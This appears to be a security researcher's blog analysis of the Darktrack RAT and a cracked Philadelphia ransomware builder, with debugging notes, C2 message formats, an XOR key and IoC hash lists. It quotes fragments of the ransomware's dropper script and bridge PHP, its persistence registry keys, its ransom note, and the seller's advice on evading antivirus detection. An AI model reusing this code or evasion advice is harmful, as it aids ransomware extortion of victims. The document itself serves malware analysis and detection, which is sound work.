45C218 is a network sniffing subroutine. The full functionality is not 100% clear, however the code will call WS2_32.WSAStartup, WS2_32.Socket and WS2_32.Bind before likely making a call to WS2_32.WSAIoctl and one other function. This appears to be designed to sniff all packets that the victim machine is exposed to.

At location 468894, one can actually see the PE header for an executable file packed with UPX. Sub 4484C0 references this location, and while it’s a bit difficult to see what’s going on due to indirect calls, it looks like this sub sets aside 175,616 bytes in memory and then unpacks the file into that. One of the parent subroutines of this one appears to actually be the code found at this Github page: https://github.com/jasonpenny/democode/blob/master/dGinaTest/BTMemoryModule.pas. It seems that the malware uses this to load and parse a PE header from a file (probably the UPX-packed file we are discussing) and then appears to use the code to then load a bunch of SQL Lite functions. I’m guessing that this file that is packed is probably SQL Lite and it is probably being used to store data about the victim’s machine, but I’m going to dump this file and take a look at it to be sure. Sub 4484E8 is the overall subroutine that is responsible for this, and I’m going to tentatively going to call this the “Unpack SQL Lite and Setup” sub.

45A360 appears to be the subroutine handling opening a chat window with the victim. Sub 45A4EC is strange. I believe this is some sort of encryption subroutine. It has a few dozen cross-references in the disassembly, and uses a strange 51-character string which is “Yhuol08uJhGfCVzzXdFG.==+t&t&y7877wSWqwDw12123ghhGTG”. I’m going to label sub 45A4EC as “MaybeEncryption” and keep moving on, and maybe I’ll see something that will shed more light on this if I run this in the debugger.

After pulling the UPX file out of the stub with Hiew, I unpacked it and it appears to just be a regular sqlite3.dll. The file did get a few detections on VirusTotal, but the detections aren’t really ones I would trust. Based my own examination of the actual contents this appears to just be a SQL Lite .dll. I noticed that the Darktrack builder appears to store victim information in a SQL Lite file, so maybe the developer just uses SQL Lite for storing the various information about victims both on the panel machine and on each victim machine.

Debugging

Running the stub.exe program through the debugger really helped to clarify some things that were not clear in the disassembly either because my older version of Ida didn’t work 100% correctly or because there were some indirect calls in the code that were hard for me to discern via the disassembly alone. What I’m calling the master evasion sub, 4265AC, actually has some other things going on in it that I didn’t see before. The first thing is that I see near the beginning of this sub that the program tries to load a resource called “settings” which I presume is the RAT config info. Stub.exe isn’t able to load this from the .rsrc section. The error returned is “ERROR_RESOURCE_NAME_NOT_FOUND”. I’m not sure what’s wrong, but I’m going to keep going and see what other stuff I can find out via the debugger.

A small detail that I assumed was the case was confirmed while I was running stub.exe in the debugger. The RAT client does use the mutex to ensure that only a single instance of the malware is running on a victim’s machine at a time. Sub 42651C controls this. It will make a call to another subroutine to create the mutex and then it will make a call to KERNEL32.GetLastError. It will compare the error returned with the constant 0xB7 (which would indicate “ERROR_ALREADY_EXISTS”). If it does already exist, then the malware will terminate, while success or any other error returned will allow the malware to continue to execute. See below from my debugger:

Sub 426CF0 is another subroutine that has been greatly filled in via the debugger. This subroutine handles several calls to various WS2_32 functions that handle connection to the RAT host. Moving back over to the evasion subroutine beginning at 4265AC, I set a new entry point to put us back in the various anti-analysis tests. Sub 425FEC appears to get the current user name and compare it with the string “CurrentUser”. I’m not sure what this is supposed to accomplish. In doing some reading on the subject, this appears to be another way to detect certain sandbox environments. Another thing that became clear in the debugger is that the main evasion sub contains two calls to KERNEL32.GetTickCount to add this timing check to the other anti-analysis techniques. The two KERNEL32.GetTickCount calls are located at 426710 and 426858, and in this case the malware will terminate if there has been more than five seconds between the two calls.

Sub 425040 is very interesting now that I’ve been able to look at it in the debugger. I had previously named this as some sort of function loading subroutine, but running it in the debugger I see that there are some more interesting things going on. The Darktrack stub will invoke a new notepad.exe process and then allocates memory and starts to write to those newly allocated areas with what appear to be procedures to load from KERNEL32. It then tries to start a remote thread in that notepad.exe process, which in my test environment crashes notepad. After this, stub.exe goes a bit bonkers and enters a very processor intensive infinite loop (perhaps this is some sort of evasion technique itself). I’m going to step back a bit and see if I can get into other functions.

One subroutine that I am very interested in is sub 45A4EC. This one contains a really nasty looking string as mentioned earlier (“Yhuol08uJhGfCVzzXdFG.==+t&t&y7877wSWqwDw12123ghhGTG”). Earlier I’d guessed that this is some sort of encryption subroutine, so I set a breakpoint on this subroutine to see what happens here. When the breakpoint hit, I saw something very interesting which looks a lot like RAT C2 communication being used here:

We can see a lots of things passed here, such as the logged in user, the Windows version, the Darktrack version, the active window, the user type (administrator or regular user), and the password for this Darktrack stub (in this case, the default “123456”). After observing this subroutine for a bit, I noticed that there is a loop starting at location 4552AF and looping back from 455329 that uses that big ugly string to do a some sort of multibyte XOR of the system inventory information that we saw being passed to this overall subroutine before:

I tried to arrange the screen to best view the encryption/decryption loop and the area of memory where it can be seen that the string is in fact being encyphered via XOR. While it appears to be some sort of multibyte XOR, it’s not actually as simple as just taking the key and the plaintext and doing a multibyte XOR. There is some mechanism that I can’t discern that is adding some extra complexity to how this encyphering is being handled. Maybe someone with more experience with this could look at this someday. In the meantime, I suppose it would be possible to take the code from the malware, put it into some format of your choice, and use that to decypher traffic. I actually tried this just to be sure — I took the final encyphered text, put it where the plaintext should go, and watched as I ran the malware again and it decyphered what it had previously encyphered with this subroutine.

I tried manipulating various things in sub 426CF0 which appears to be the subroutine to connect to the RAT host. Looking in here confirms that the port used by this stub is 9633 by observing the call to WS2_32.htons. After stepping through this subroutine and trying to keep things going in the right direction by modifying memory or the code, I was able to get the stub to connect to my panel:

Right clicking on the connected Darktrack client reveals some options. Control center is probably the most interesting, but it can still be seen that from this quick menu there are options to obtain information about the victim’s machine, execute commands or open web pages on the victim’s machine, uninstall the RAT client or options to help organize the victim in the overall list of infected machines.

The control center is pretty slick and has several screens worth of options:

The interface is actually very nice, I’m impressed by how this was put together, compared with some other malware samples I’ve worked with. Looking through all of these options, this confirms a lot of functionality that was either suspected based on the static/dynamic analysis or was seen in the disassembly and debugging:

File manager functionality
Registry editing
Process manager
Windows Services manager
Installed application enumeration
Active connections enumeration
Startup manager
Clipboard manager
Surveillance functionality (online and offline keylogger, remote desktop connection, remote camera and microphone capture, remote shell, saved passwords harvesting, ability to download/upload and execute files on the victim’s machine)
Hosts file editing
Script execution
Dialog box generator
Networking management features (share enumerator, LAN scanning, port scanning, TCP sniffing)
Information gathering (system privileges and monitoring)
Miscellaneous features I classify as harassment features (ability to send a key input to the victim’s machine, print a file, text to speech, user chat, restart/lock/logoff/shutdown the machine)
Skype management (obtain users, contacts, file transfers, and conversation info)
RAT client management features (restart, close, uninstall, share client)

As I said before, some of these are very nice. For instance, the process manager functionality is very well presented and allows the RAT controller a lot of control over the running processes on the victim’s machine (such as suspending the process, killing it, altering the priority, etc.). The remote shell functionality is very easy to use, also.

This pretty much wraps up everything I’m interested in looking at in this particular malware sample.

Conclusion

Darktrack RAT has a nice user interface and contains a lot of functionality that would be of interest to a malicious actor. Nothing is too notable (when compared with other RATs) however the interface for the RAT controller is well-designed and easy to use. Some flaws emerged from examining this sample. For instance, the evasion subroutines do not fully work, even in an obvious analysis environment. The evasion routines also appear to be old/outdated due to some of the platforms targeted. Obfuscation of traffic via the XOR-based scheme is weak, especially when the key is so easy to obtain from the stub file and in the worst case one can just use the malware’s own subroutine to encypher or decypher traffic. The lack of a working client builder is a major issue, but this might have been an issue introduced by whoever cracked this particular copy of Darktrack. Overall, this was an interesting malware sample to analyse and reverse (even if it is Delphi).

Hashes and IoCs

Builder Archive
MD5 367ba50a6f212e9f722b72a92ae9b7a8
SHA-1 bf6f497f654c920d6485d723d310a7373f2b72f1
File Type RAR
SSDeep 393216:gO3Otn+wKEqgvtYgeUNDA1H0Kw1VvUACZ1t6HoF:MxK8CTXTw1VvSZ1tR
File Size 18.01 MB

Builder Main Executable
MD5 c2cae2249e422ec8d3d2da5712679262
SHA-1 35e2c4d521d0ce60ae1a78f88f116057367d83fa
Imphash 029f303dc25c06dd65b86262c6a9ed20
File Type Win32 EXE
SSDeep 98304:Bkl5IlOxWJBWN6O5zjfxIhItSQfmK36t+iuHWWoS9sHOAaMnq6+q3SATTzGypMLD:eKupzlefQOKU+iuHkORMnq6+4eLoMSQL
File Size 6.5 MB

Stub.exe
MD5 edc9c0a3eaaf592dba89ec3735ef022b
SHA-1 4c1196733e6bafa0b7d3e078896d0937111a9440
Imphash ee46edf42cfbc2785a30bfb17f6da9c2
File Type Win32 EXE
SSDeep 12288:BOqvQomCg4G6q90tmPvj+GU/ttJuqwh3EQiXRUVZs4ixsiNhkApRaw:9oovgbAKvBgtJuqwh3EQihUb1ifNh
File Size 627.5 KB

Dumped Stub.exe
MD5 ecae681b11dac1bb8facde439229f50a
SHA-1 391a75dc8b37a8716cb5856fae7c0dd965162930
Imphash 62201a8d9ef3cb9372a8618dffb33bd0
File Type Win32 EXE
SSDeep 12288:dOqvQomCg4G6q90tmPvj+GU/ttJuqwh3EQiXRUqr:5oovgbAKvBgtJuqwh3EQihUq
File Size 627.5 KB

UPX Packed sqlite3.dll
MD5 63f87edc6c0fcc88c9951119e39ccd7f
SHA-1 7e19bea3abcfec0ef66d3ee0ae01ce8812f6e32a
Imphash 9b821a35d20f9a8955f8d5e54b175675
File Type Win32 DLL
SSDeep 3072:XsABLvEx/5jcESAxpeGwuYwTPk9cJx9RjhkZ726EJS2vICXPnwL1nPTsb+jRsR8:XZLvExxjcixs+XNhkA6GSaRXfy1nbO
File Size 215.36 KB

Unpacked sqlite3.dll
MD5 dddf597f6546ddae942ce08bc773f646
SHA-1 6dde01d2699afa2c731a7344f5e8ad129a98ce4a
Imphash af2a1cf0ae9d12b4ef9c165cff60e4b3
File Type Win32 DLL
SSDeep 6144:OICvMnOTvcfgA0qBlJ89Ojo33C1oVDtY4sG2/WctyzuYf0ob8L23/8O:uvMnAA9BleOjoH4Ktm+jbFX3/l
File Size 379.86 KB

Stub-specific signatures:
Mutex: 080IAM010010DAR8K89TR3SDTACK (hard-coded to this stub, but likely changeable in a working builder)
C:\DOCUME~1\Owner\LOCALS~1\Temp\Klog.dat (keylogging results in plain text)
Ports 4157 and 9633 are two default ports in this particular copy of the Darktrack builder
XOR key: Yhuol08uJhGfCVzzXdFG.==+t&t&y7877wSWqwDw12123ghhGTG
Example C2 communication:
Local User|Owner@[redacted]|Windows XP|No[refers to web camera]|4.1 Alien+|Immunity Debugger – stub.exe – [CPU – main thread, module stub]|ENU|Administrator|123456|C:\DOCUME~1\Owner\LOCALS~1\Temp\|1|

Philadelphia

Posted on May 30, 2017 - May 30, 2017 by rhyolite

I got a copy of a builder for Philadelphia ransomware from an underground forum. When I ran it, this builder appeared to be clean. The builder came as an AutoIT-wrapped file with a lot of support files and also a copy of UPX.

Jump to:
Builder
Test Client
Bridge
IoCs

The Builder

Running the builder resulted in a fancy splash screen and then I was prompted to create an account and password with “Philadelphia Headquarter”. Once this was done, I was able to finish installation. I should note that this particular copy of the builder was said to be cracked, and I noticed no network traffic related to this user creation process, so I suppose this is because of the crack or perhaps this is a local account set up on the Philadelphia builder.

The main panel is very snazzy:

Here’s an example (from the malware’s help file) of a panel showing how victim machines would appear:

You can see that there’s all kinds of stuff going on here. This ransomware calls the client files “Agents” and you can see that button at the top of the left menu bar for building a new Agent. Next is the “New Bridge” option which builds the file that the deployed ransomware will interact with (likely on a compromised third party website, if past experience with this sort of thing remains consistent). There are buttons in this menu to manage the bridges, update data on victims, change builder settings and then interestingly buttons for support and help. One interesting option under “Settings” was the ability to turn debug mode on, which I did. The support button actually gives us the following popup:

This seems to indicate that this is version 1.13.1 of Philadelphia, and who cracked it. I blurred the contact info and name because in this case I thought it might be prudent not to put this out there. Clicking help brings up a very professional looking help file, actually:

In case it’s difficult to read in the image:

Congratulations for buying the latest word in ransomware!

We wish you great incomes.

Philadelphia is a revolutionary product that brings the ease of use for the ransomware world. No more complicated server settings, no more monthly fees, no more source code compilation. Philadelphia takes all the hard work and presents to you a panel where you can take the control onto your hands.

We really recommend you to read every topic of this help file before your first adventure with Philadelphia. As a revolutionary product, Philadelphia includes many new features and terms that aren’t seen in other products, which makes some early instructions needed.

We hope you have fun reading this material and using our product 🙂

Another section sheds light on the true developers:

We are the folks at The_Rainmaker Labs. Perhaps you got to know us through our previous product, Stampado, a simple and easy to use ransomware that got in the news (Softpedia, Forbes, WSJ and a lot more) for bringing advanced features for just $39. Yes, we like to play with security, as you might have guessed.

With Stampado, we could be able to understand what ransomware buyers seek on new products. After 1 and half month of “experiment”, we bring Philadelphia, to supply to all needs.

You can contact us easily if something goes wrong (or too good, we love to hear stories from our clients when they make big bucks with our products) by clicking “Support” on the Philadelphia window.

Warning: at the time of Stampado, several scammers appeared pretending to be us and selling fake copies of our products, fooling several people. Be careful. We don’t have 3rd-party sellers, Twitter nor email account. The only way to contact us is through Jabber (the two accounts on the “Support”).

There’s actually a section called “For AV researchers”:

We are not here to tell you guys what to do, but what NOT to do.

First of all, do not waste your time trying to decrypt the files. As the ransomware sends the crypt key to a bridge and the bridge will only give it once a payment is sent, it’s impossible. Also, there is no way to do some spoof and pretend a payment, as the verification happens on the server where the bridge is hosted, and not on the client machine.

Secondly, never delete the Philadelphia files on a infected machine (or make it impossible to run). There are many sensitive data that, if lost, the user files are really gone forever. Also, the Philadelphia agent executable file is the only hope for the victim to recover their files, as it’s the only software capable of accessing and interpreting the bridge responses. If the user cannot open it, then there will be no way for recovering the files.

There’s also an interesting section advising people not to upload their clients to VirusTotal:

With our previous product, Stampado, our initial objective was to always keep it FUD.

However, with the bigger sales, it wasn’t possible due to many users (not victims) sending it to online scanners such as Google’s VirusTotal.

VirusTotal on the past had an option not to distribute. Its targets were companies that wanted to scan securely private files and did not want it distributed. However, as you can imagine, most of the users of this option were malware developers. Therefore, in 2008, this option was removed (see http://blog.hispasec.com/virustotal/28/).

Nowadays, VirusTotal works this way: once a file is uploaded to scan, if at least one of the antivirus solutions on the site detect something harmful on the file (even a generic detection (Gen/HEUR) or even a false positive), all the other AV solutions that didn’t detect it receive a sample of the file with the entire report (PE data, antivirus detections etc.), so they can start detecting items as well. This information was taken entirely from their FAQ (https://virustotal.com/pt/faq/, section “Including new antivirus solutions and tools in VirusTotal”, third paragraph). This way, by sending a malware to VirusTotal with small detection rates, you ensure that it will be highly detectable in a few days (or even hours) and will need to spend money on crypters. Definitively, you do not deserve congratulations for that.

What should I use?

During our development, we used VirusCheckMate.com and Scan4You.net and never had any problems with these ones. However if you can’t pay (10 cents a scan), there are free alternatives, such as NoDistribute.com. Be aware that we aren’t sure if NoDistribute really does not distribute.

This information is not valid only for Philadelphia, but to ALL hacking tools, exploits and malwares you’ll ever find.

I upload stuff to VirusTotal to try to get it out there as much as possible… but I’d say one shouldn’t upload anything sensitive there, just for the reason that you’re sharing something with a third party. The “Changelog” section of the help file indicates that the ransomware seems to have appeared on the scene back in September 2016. What’s also interesting is that this changelog goes all the way up to version 1.21.4 (December 2016) while the version we have claims to be version 1.13.1. If this really were 1.13.1, then the change log obviously wouldn’t contain the notes about later versions. This change log gives us some idea of the pace of development of Philadelphia:

December 12th, 2016 – v1.21.4
September 21th, 2016 – v1.13.1
September 18th, 2016 – v1.9
September 14th, 2016 – v1.6.1
Semptember 12th, 2016 – v1.3.1
September 7th, 2016 – v1.0
September 1st, 2016 – v0.0.0

The “Bridges & agents” section gives a good overview of the interaction between the Agents and the Bridges:

An agent is the malware itself, the executable file you’ll need to spread to your victims. Its work is better explained on the “Agent” subtopic but it will basically generate a crypt key, use it to encrypt the user files (depending on the folders and extensions you choose when generating the agent), send this key to the bridge and ask for the ransom.

A bridge is nothing more than a PHP script that can be hosted in likely any server without the need of a database. The bridge usesflat files a (it’s a PHP script that uses just files as data storage, so editing it is not recommended – nor needed – and some SQL engine is NOT needed). Its work is better explained on its subtopic, but it will basically store the victim’s crypt keys, give important info (i.e.: an unique ID per victim, the demanded ransom and also choose a bitcoin wallet for the victim) and provide the victims data for the headquarter.

The FAQ has an interesting snippet referring to a researcher that they appear to be big fans of:

There is a Decrypter on the news

It’s usual. One week before launching Philadelphia, we created and spread a modified version that cointained a proposital security flaw that allowed the researcher to easily see the password. We used this executable and infected several machines. Our main target – Fabian Wosar from EmsiSoft – has took the bait and published the first decrypter. However he didn’t see the security flaw (turns out that he’s not as good as he tells to be) and published just a bruteforce-based decrypter that needed the victim to tell two versions (one original and one encrypted) of the same file.

We don’t need to say, but bruteforce is not the best option, mainly when a deadline is threatening your files and you know that bruteforce can take millenniums. Anyway, Fabian decrypter did not work in any way, nor in bruteforce, and we don’t know why, but who cares?

Keep in mind that, as the encryption key is kept out of the victim machine, brute force is really the only option. While, in a side, there is nothing we can do about it (and any ransomware or encryption algorithm is vulnerable to it), in other side, there is also nothing to grant that the user is going to see the files back. So this is really something to ignore.

In other words, it is impossible to decrypt Philadelphia.

Test Client

Getting into the New Agent section, we get the following initial screen:

There’s a very long mutex used to ensure only a single instance is running, with option to generate a random mutex or allow manual entry.
PtiTTtV`iEU^lLesjdzQ`jNRwRLmWBkWDojBZUlGIu_gsCNwIMxr]OZNRZaPkslcC\dU[ukwcL^Jm]ll`omto^xzSdDMSes`O_PQeajUXeT[mhUcUABzKYovcfZxVkCtLBGWPkwyPGQXAmyUjFmAROA^QPO_ClPuHOz
was the default when I first ran this sample. There are various options related to UAC, either to not ask for admin rights or to ask for admin rights with varying degrees of effort. The ransomware should run just fine on a victim’s machine without having admin rights, however it appears that it would need admin rights in order to access certain folders such as other users’ folders on the same machine.

The “Bridges” section allows the ransomware controller to specify multiple bridge locations for the ransomware to access, and also specify the priority of which bridges to try first and in what order. The “Message” section allows the ransomware creator to specify the ransom note to be served to the victim. The default note is:

All your files have been encrypted!

All your documents (databases, texts, images, videos, musics etc.) were encrypted. The encryption was done using a secret key
that is now on our servers.

To decrypt your files you will need to buy the secret key from us. We are the only on the world who can provide this for you.

What can I do?

Pay the ransom, in bitcoins, in the amount and wallet below. You can use LocalBitcoins.com to buy bitcoins.

What’s interesting here is that the ransomware controller can specify a default ransom note, and then can also specify a custom ransom note for any one of a large number of other locales, based on the character set in use on the victim’s machine.

The “Timers” section is actually pretty interesting also. Philadelphia ransomware comes with a feature called “Russian Roulette” where a random file on the victim’s machine will be deleted based on a timer if payment is not yet made. This part of the Agent panel is where the settings for this feature can be specified. The default settings are to delete one random file every six hours, checking the bridge for payment every 60 seconds. A final deadline can also be specified, which by default is four days. At the end of this four day period, there is the option to delete all of the victim’s encrypted files and also to delete their encryption key from the bridge to remove the option of using it to decrypt the victim’s files.

The “Folders & Extensions” is very cool to me, after having looked at some other (shitty) malware builders. Here you can specify the folders to target, as well as how many levels (folders / directories) deep you want the Agent to encrypt. This is also where you can specify the types of files to target based on the files’ extensions, with encrypted files apparently receiving the extension “.locked”. The default extensions to target are:

7z avi bmp cdr doc docx gif html jpeg jpg mov mp3 mp4 pdf ppt pptx rar rtf tiff txt wallet wma wmv xls xlsx zip

It appears that this also allows the ransomware controller to specify which folders to attack first. Based on this, it looks like the ransomware will search through fixed drives first, then removable (likely USB) drives next, followed by network drives. Note also that Philadelphia is not destructive in the sense that it does not target system files or executable files. I’ve seen ransomware that does this, and this is pretty stupid if you’re actually trying to get a ransom payment (e.g., if you encrypt the users system and browser files, how are they going to access your payment site to send you money?).

The final section, “Worm & Rootkit”, is where one can add features such as USB infect, network spreading and packing (via UPX) to the Agent. There’s also an option to drop the ransom note as a text file on the victim’s desktop and in their documents folder. The default process name for the Agent is “Isass.exe” (in case the font doesn’t make it clear, that’s a capital I and not an l) and will extract itself to the %APPDATA% folder unless otherwise specified. There are options to hide the extracted files and also to melt (delete the initial malware executable upon execution). The ransomware can be set as an “unkillable” process and can also have a delay set on it to wait a specified number of minutes before executing its malicious functionality. Finally, there’s an option to show the ransom note/window before encrypting files — not sure why you’d want to do that, actually.

I went ahead and built a test Agent and Bridge. Bridge creation is very simple — just specify a bridge name, password and folder to use and the PHP file will be generated for one to put on the bridge server (whatever form it takes).

Checking out the test client, the ransomware builder uses UPX 3.91w to pack the new client, assuming that option was selected. The client is an AutoIT executable, created using AutoIT version 3.3.14.2. Upon execution, the file drops two files with .bin extensions into the %TEMP% folder on the victim’s machine, and then decodes these files and puts the decoded versions in the same directory with .dat extensions. See below for the part of the AutoIT script that handles this process:

And as text:

FileInstall("ph1la.bin", @TempDir & "\delph1.bin") FileInstall("pd4ta.dat", @TempDir & "\pd4ta.bin") If NOT FileExists(@TempDir & "\pd4ta.dat") Then _6g(@TempDir & "\pd4ta.bin", @TempDir & "\pd4ta.dat", "w0sar", $f) If NOT FileExists(@TempDir & "\delph1.dat") Then _6g(@TempDir & "\delph1.bin", @TempDir & "\delph1.dat", IniRead(@TempDir & "\pd4ta.dat", "file", "mutex", ""), $f)

The delph1.bin file is the script that gets executed by the ransomware later, invoked using the following commands:

From the initial malware executable:
C:\Lab\client\testclient.exe /AutoIt3ExecuteScript "C:\Users\IEUser\AppData\Local\Temp\delph1.dat
And again later from the installed malware executable (masquerading as “Isass.exe”):
C:\Users\IEUser\AppData\Roaming\Isass.exe /AutoIt3ExecuteScript "C:\Users\IEUser\AppData\Local\Temp\delph1.dat
The malware will make a copy of itself into the %APPDATA% folder (which is because that’s where we specified for installation earlier in the builder). The other file, pd4ta.dat, contains the configuration information for this particular copy of the ransomware:

As far as persistence, I observed that the ransomware modifies the Registry so that it will run at startup on the victim’s machine. A value of will be added (called “Windows Update”) pointing to the installed malware file at the following keys:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Here we can see all of the settings that we entered before, such as the bridge information, various options such as the USB spreader, and the list of extensions to target. Speaking of the USB spreader, what I saw is that the ransomware drops an autorun.inf file that it drops in the root directory of those drives.

Following this initial execution, once the ransomware installed itself into %APPDATA%, the initial set of processes (with the original filename) will terminate and then it will invoke a new set of processes (under the “Isass.exe” installed file). An interesting thing is how the request is formed to update the ransomware controller’s database upon infection:

p=Insert&osinfo=WIN_7&user=IEUser&country=United+States&av=Unknown+AV&locale=en-US&ucd=AnxyOZsh%5BiEfMfVd_Cdr%5EJP%60X%5BhROTrupox-False

Pretty easy to read it, but the p argument appears to be the action taken on the flat file; OS info shows the installed OS of the victim; user is the username of the victim on the infected machine; country is self explanatory; av appears to indicate the antivirus software (if any); locate shows character encoding on the victim machine; and finally the ucd argument appears to be the key. I’m not sure what the “-False” at the end indicates.

The Bridge

Taking a quick look at the .php file that was created (the test bridge), the beginning of this file shows where the user credentials are stored:
<?php define('USERNAME', 'testbridge'); define('PASSWORD', 'test'); define('FOLDER', './'); define('DEBUG', true);

Further down, there’s an interesting string related to the fake 404 message that is thrown should login fail:
function requirelogin() { if(@$_REQUEST['u']!=USERNAME OR @$_REQUEST['w']!=md5('ph1l4d3lph14'.PASSWORD.'r41nm4k3r')) throw_404(); }

An interesting section is found that details how the insert function works, see code below:

function InsertController() { $cfg = unserialize(file_get_contents(FOLDER.'config.pdb')); $unlock_code = $_REQUEST['ucd']; $osinfo = $_REQUEST['osinfo']; $user = $_REQUEST['user']; $ip = $_SERVER['REMOTE_ADDR']; $country = $_REQUEST['country']; $locale = $_REQUEST['locale']; $av = $_REQUEST['av']; $wallet = array("19p1qwepRrYfeSKkrH2yWiKKimpMAjfxEn","1FyTD95k1ePdewMHGHieeg7VHwmHbinyDF","1HmNQChNXz3mcXrG4gADMrwcoSCBtYJVJo","1g2Xw9dT2XyhV4NnWFPEADbGubD94wNfr","1QAp9xdojT2i61xoC1guP4uKNE6pmMxyAC","195DMVkyh8oMi7tvEoC7XCZ72tQ2yi4aas","1Lo3fcDaF46ZntFSAPwMMJJmB5R8RTAUN5", "14VWCve4sT2fb7SCjvNmhpv8g98pzzRD6r","1JjLxyoMYHkm9VXHsfGVpK4UmUnp9ViJwv","1MG9875hajVtUmaE38wrBbXhbaNXCP46MV"); $wallet = trim($wallet[rand(0, sizeof($wallet)-1)]); $amount = $cfg['amount']; $geo = json_decode(@file_get_contents('http://www.geoplugin.net/json.gp?ip='.$ip)); $id = uniqid(); $victim = array( 'id' => $id, 'unlock_code' => $unlock_code, 'os_info' => $osinfo, 'av' => $av, 'user' => $user, 'country' => $country, 'locale' => $locale, 'geo' => array( 'lat' => $geo->geoplugin_latitude, 'lon' => $geo->geoplugin_longitude, 'country' => $geo->geoplugin_countryCode ), 'wallet' => $wallet, 'amount' => $amount, 'infected' => time(), 'paid' => false, 'unlocked' => false, 'lastactive' => time(), // ping every 30 min 'unlocked_when' => 0, // time of unlock verification 'transaction_code' => null, // saved btc transaction code 'status' => null );

One cool thing here is that you can see all of the wallets used. Looking these up don’t reveal any transactions, though. We can see here that the ‘ucd’ argument refers to the decryption key, as mentioned earlier. One can also see all the information about the victim’s machine being sent (OS version, location, character encoding, user name, and then transaction information about payments.

Here’s some code related to the payment “tolerance”:

$minimal_amount = $amount-($amount*($cfg['tolerance']/100));

This refers to the functionality in the ransomware that will help account for unforeseen transaction (or other) fees that might dip into the payment made by the victim and still count this payment as valid. For example, if you set a 10% tolerance, and the victim must pay 1 BTC, you would then count as paid a payment that was 0.95 BTC net of fees.

Some items for future research include:
– Digging more into the Delph1.dat file. I have very little experience with AutoIT, but I would really like to see what else can be decoded from this file since this appears to be the actual script that handles the ransomware functionality in the client.
– Looking through the bridge file some more to identify good ways to crawl or otherwise find these bridge files on compromised (or malicious) servers.

IoCs

Builder:
MD5 c031aa4ceffd10d4cb8792d7a58d45bd SHA1 173b47c7fe7b0e0c47a66416d47f145735552352 SHA256 ae536854c93d8f8215b351e473a82aa2d4660e85544a380983e43ea711143c70 ssdeep786432:NaihOw5QKtXOR6J8llLyZ4EVumxFfYVzMGbIYUB7i:NphP5BX86J8ll7EVvYVzVLg https://www.hybrid-analysis.com/sample/ae536854c93d8f8215b351e473a82aa2d4660e85544a380983e43ea711143c70?environmentId=100 File size 28.1 MB ( 29433856 bytes )

Client (unpacked):
MD5 3828ab3adce47daf05660cf4bc0ef3c7 SHA1 90dd077b4d66234e69f6375c142917237c395b05 SHA256 936f6ad36ce0d92d3850efafe2b0c23cafc65cb74b5ddc9189b76d00f88c719a ssdeep12288:uCdOy3vVrKxR5CXbNjAOxK/j2n+4YG/6c1mFFja3mXgcjfRlgsUBgagluex3Q:uCdxte/80jYLT3U1jfsWa+R3Q https://www.hybrid-analysis.com/sample/936f6ad36ce0d92d3850efafe2b0c23cafc65cb74b5ddc9189b76d00f88c719a?environmentId=100 File size 885.5 KB ( 906752 bytes )

Client (UPX packed):
MD5 27278c5a684fac7daf823523c76775ae SHA1 23508e0cdf4b63f954a07f0487c517a627348516 SHA256 da286941a6c2bb6876341a99222c8ede6f3c2360185c78f5ce067501643702c3 ssdeep12288:bozGdX0M4ornOmZIzfMwHHQmRROXKz9bv/2:b4GHnhIzOazp+ https://www.hybrid-analysis.com/sample/da286941a6c2bb6876341a99222c8ede6f3c2360185c78f5ce067501643702c3?environmentId=100 File size 420.0 KB ( 430080 bytes )

Bridge:
MD5 95bea4e856994a6e6ae76907feb66344 SHA1 7bc6464522fd42034b1f19c80ed2e9c06c554f19 SHA256 287b86cd9ea5ce96dfecc5c0086f0fea45a19e2774b55640feab8dccab3e90e0 ssdeep384:ORY9sOEsGyOfOXLYLz8sU3OlqCJ2oHlkv23fKCVe9WTFVPAU442azavar99:K/tybxjOl5J2oFki4Wb4Rxazavar99 https://www.hybrid-analysis.com/sample/287b86cd9ea5ce96dfecc5c0086f0fea45a19e2774b55640feab8dccab3e90e0?environmentId=100 File size 16.6 KB ( 16992 bytes )

Delph1.bin (encoded):
MD5 e4d63177ac11fe98f486ba517d0ce15e SHA1 df8b3d9bc00c78104cc8f4cb9ff5b37dc3a18e9e SHA256 949b365cfb8e7034fca21a32702780aad7906a7c2839c84d0c30603b4027b82b ssdeep 768:iNsXaLAHpXEf1tihxjz5y3aNpxVurh22eceARmAEG5:iFf1tizP5yKNpxorZWARmpS File size 31.8 KB ( 32558 bytes )

Delph1.dat (decoded):
MD5 04979db956d28f674929fcb76cad8d00 SHA1 ed063500babbb7e0661b0e1eed0de8b3b9f15ba3 SHA256 12587ba985f95d58acd65039709a5820b1608b33866d023370afa9b46daed6e7 ssdeep 768:a5zL6L2of7rM8vpxyofKP9xQoYNFZbGDgOENdtihou0mwKaARUfk:aFL6iorzpvKvJ6fOX1LwKXyk File size 31.8 KB ( 32558 bytes )

Pd4ta.bin (encoded / config data):
MD5 b55c13b5c3493977ab9f482bc0fcbb61 SHA1 4dd36dd635d03adad2bd8502be8f1942d9f07919 SHA256 44d0f905037ba501d375a5f3fa120b2a8b04220fc08d5d4c573212dcbfe706fa ssdeep 192:lPGpdjD+U/WjXKQr3ZDLceX9DBZeBm0+IMWtofzcHtuaKzs71GmUb0LO:lPE+XX9pDIeXxzgt+YHtmt5AK File size 10.7 KB ( 10992 bytes )

Pd4ta.dat (decoded / config data):
MD5 4bb064fdecdf070799c60a60a4b6a7b2 SHA1 86394e7f2d6da9971e11a70a8450150ac1d21953 SHA256 9375e60d950a9ab7faacdd880cf88b6d1d926c20acaebd7cac14790ac49f5f46 ssdeep 192:fB6ALH6B6AdHGB6AcHzhqp5tkKyOhZ31+346Es9yz10+x5cJ5MxM/lisgdBBLz3:fB6AD6B6ANGB6AkzQpMKyQZ31+3hVw0E File size 10.7 KB ( 10992 bytes )

Combing through VirusTotal a bit, these hashes are purported to refer to live samples of Philadelphia ransomware:
